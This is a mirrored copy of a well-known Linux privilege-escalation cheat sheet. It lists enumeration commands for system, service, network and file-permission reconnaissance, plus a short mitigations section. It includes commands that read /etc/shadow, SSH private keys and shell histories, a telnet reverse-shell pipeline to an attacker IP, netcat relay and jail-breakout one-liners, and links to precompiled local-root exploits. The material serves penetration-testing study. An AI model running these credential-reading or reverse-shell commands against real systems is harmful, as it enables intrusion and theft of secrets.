> For the complete documentation index, see [llms.txt](https://infosecsanyam261.gitbook.io/tryharder/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infosecsanyam261.gitbook.io/tryharder/priv-escalation/linux-priv-escalation/gotmik-linux-privilege-escalation.md). # g0tmi1k linux privilege escalation https\://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ \ **Enumeration is the key.** (Linux) privilege escalation is all about: · Collect - **Enumeration**, more enumeration and some more enumeration. · Process - Sort through data, **analyse** and prioritisation. · Search - Know what to search for and where to **find** the exploit code. · Adapt - **Customize** the exploit, so it fits. Not every exploit work for every system "out of the box". · Try - Get ready for (lots of) **trial and error**. **Operating System** **What's the distribution type? What version?** |

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cat /etc/issue

cat /etc/\*-release

cat /etc/lsb-release # Debian based

cat /etc/redhat-release # Redhat based

| | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | **What's the kernel version? Is it 64-bit?** \|

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cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

| \| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------ | **What can be learnt from the environmental variables?** |

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cat /etc/profile

cat /etc/bashrc

cat \~/.bash\_profile

cat \~/.bashrc

cat \~/.bash\_logout

env

set

| | -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | **Is there a printer?** | 1 | lpstat -a | | - | --------- | **Applications & Services** **What services are running? Which service has which user privilege?** |

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ps aux

ps -ef

top

cat /etc/services

| | -------------------------------- | ------------------------------------------------------------ | **Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!** \|

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ps aux | grep root

ps -ef | grep root

| \| ---------------- | -------------------------------------------------- | **What applications are installed? What version are they? Are they currently running?** |

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ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

| | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- | **Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?** \|

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cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 \~ /^.*r.*/

| \| --------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | **What jobs are scheduled?** \|

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crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron\*

cat /etc/cron\*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

| \| --------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Any plain text usernames and/or passwords?** \|

grep -i user \[filename]

grep -i pass \[filename]

grep -C 5 "password" \[filename]

find . -name "\*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

| \| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Communications & Networking** **What NIC(s) does the system have? Is it connected to another network?** |

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/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

| | ------------------------ | ------------------------------------------------------------------------------------------- | **What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?** |

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cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

| | ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- | **What other users & hosts are communicating with the system?** \|

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lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

| \| --------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Whats cached? IP and/or MAC addresses** |

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arp -e

route

/sbin/route -nee

| | ------------------------ | ------------------------------------------------ | **Is packet sniffing possible? What can be seen? Listen to live traffic** | 1 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 | | - | -------------------------------------------------------- | Note: tcpdump tcp dst \[ip] \[port] and tcp dst \[ip] \[port] **Have you got a shell? Can you interact with the system?** \|

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nc -lvp 4444 # Attacker. Input (Commands)

nc -lvp 4445 # Attacker. Ouput (Results)

telnet \[atackers ip] 44444 | /bin/sh | \[local ip] 44445 # On the targets system. Use the attackers IP!

| \| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | Note: **Is port forwarding possible? Redirect and interact with traffic from another view** Note: Note: [http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch](https://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch) Note: Note: FPipe.exe -l \[local port] -r \[remote port] -s \[local port] \[local IP] | 1 | FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 | | - | --------------------------------------- | Note: ssh -\[L/R] \[local port]:\[remote ip]:\[remote port] \[local user]@\[local ip] |

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ssh -L 8080:127.0.0.1:80 root\@192.168.1.7 # Local Port

ssh -R 8080:127.0.0.1:80 root\@192.168.1.7 # Remote Port

| | ---------------- | ----------------------------------------------------------------------------------------------------------------------------------- | Note: mknod backpipe p ; nc -l -p \[remote port] < backpipe | nc \[local IP] \[local port] >backpipe \|

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mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

| \| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Is tunnelling possible? Send commands locally, remotely** |

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ssh -D 127.0.0.1:9050 -N \[username]@\[ip]

proxychains ifconfig

| | ---------------- | ---------------------------------------------------------------------------- | **Confidential Information & Users** **Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?** \|

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id

who

w

last

cat /etc/passwd | cut -d: -f1 # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

| \| ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **What sensitive files can be found?** |

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cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

| | -------------------------------- | ------------------------------------------------------------------------------------------ | **Anything "interesting" in the home directorie(s)? If it's possible to access** |

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ls -ahlR /root/

ls -ahlR /home/

| | ---------------- | -------------------------------------------- | **Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords** |

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cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

| | ------------------------ | ---------------------------------------------------------------------------------------------------------- | **What has the user being doing? Is there any password in plain text? What have they been edting?** |

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cat \~/.bash\_history

cat \~/.nano\_history

cat \~/.atftp\_history

cat \~/.mysql\_history

cat \~/.php\_history

| | ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | **What user information can be found?** |

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cat \~/.bashrc

cat \~/.profile

cat /var/mail/root

cat /var/spool/mail/root

| | -------------------------------- | --------------------------------------------------------------------------------------------------- | **Can private-key information be found?** |

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cat \~/.ssh/authorized\_keys

cat \~/.ssh/identity.pub

cat \~/.ssh/identity

cat \~/.ssh/id\_rsa.pub

cat \~/.ssh/id\_rsa

cat \~/.ssh/id\_dsa.pub

cat \~/.ssh/id\_dsa

cat /etc/ssh/ssh\_config

cat /etc/ssh/sshd\_config

cat /etc/ssh/ssh\_host\_dsa\_key.pub

cat /etc/ssh/ssh\_host\_dsa\_key

cat /etc/ssh/ssh\_host\_rsa\_key.pub

cat /etc/ssh/ssh\_host\_rsa\_key

cat /etc/ssh/ssh\_host\_key.pub

cat /etc/ssh/ssh\_host\_key

| | ------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | **File Systems** **Which configuration files can be written in /etc/? Able to reconfigure a service?** \|

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ls -aRl /etc/ | awk '$1 \~ /^.*w.*/' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 \~ /^..w/' 2>/dev/null # Owner

ls -aRl /etc/ | awk '$1 \~ /^.....w/' 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 \~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

| \| -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **What can be found in /var/ ?** |

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ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

| | -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Any settings/files (hidden) on website? Any settings file with database information?** |

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ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

| | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | Is there anything in the log file(s) (Could help with "Local File Includes"!) |

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cat /etc/httpd/logs/access\_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error\_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access\_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error\_log

cat /var/log/apache2/error.log

cat /var/log/apache/access\_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error\_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access\_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error\_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access\_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

| | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | Note: **If commands are limited, you break out of the "jail" shell?** |

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python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

| | ------------------------ | ------------------------------------------------------------------------------------------------------- | **How are file-systems mounted?** |

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mount

df -h

| | ---------------- | ------------------------ | **Are there any unmounted file-systems?** | 1 | cat /etc/fstab | | - | -------------- | **What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID** |

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find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other \*bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

| | ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm** |

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find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null # world-writeable & executable folders

| | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Any "problem" files? Word-writeable, "nobody" files** |

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find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files

find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

| | ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | **Preparation & Finding Exploit Code** **What development tools/languages are installed/supported?** |

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find / -name perl\*

find / -name python\*

find / -name gcc\*

find / -name cc

| | -------------------------------- | ----------------------------------------------------------------------------------------------------- | **How can files be uploaded?** |

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find / -name wget

find / -name nc\*

find / -name netcat\*

find / -name tftp\*

find / -name ftp

| | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | **Finding exploit code** [http://www.exploit-db.com](https://www.exploit-db.com/) [http://1337day.com](http://1337day.com/) [http://www.securiteam.com](http://www.securiteam.com/) [http://www.securityfocus.com](http://www.securityfocus.com/) [http://www.exploitsearch.net](http://www.exploitsearch.net/) [http://securityreason.com](http://securityreason.com/) [http://www.google.com](https://www.google.com/) **Finding more information regarding the exploit** [http://www.cvedetails.com](https://www.cvedetails.com/) ] ] ] **(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk** [http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/](https://web.archive.org/web/20111118031158/http:/tarantula.by.ru/localroot/) **Mitigations** **Is any of the above information easy to find?** Try doing it! Setup a cron job which automates script(s) and/or 3rd party products **Is the system fully patched?** Kernel, operating system, all applications, their plugins and web services |

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apt-get update && apt-get upgrade

yum update

| | ---------------- | --------------------------------------------------------- | **Are services running with the minimum level of privileges required?** For example, do you need to run MySQL as root? **Scripts Can any of this be automated?!** [http://bastille-linux.sourceforge.net](http://bastille-linux.sourceforge.net/)